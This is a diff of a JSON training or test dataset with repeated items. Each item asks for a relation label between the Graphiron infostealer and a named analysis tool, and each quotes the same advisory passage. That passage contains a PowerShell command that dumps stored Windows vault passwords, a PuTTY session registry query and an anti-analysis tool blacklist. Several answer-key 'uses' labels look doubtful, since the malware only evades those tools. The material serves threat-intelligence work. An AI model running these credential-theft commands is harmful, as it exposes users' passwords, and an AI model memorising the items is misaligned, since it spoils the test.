+        "input": "### Source Entity:\nGraphiron\n### Target Entity: ollydbg\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: pestudio\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: proc_analyzer\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: processhacker\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: procexp\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: procexp64\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: procmon\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: procmon64\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: protection_id\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is 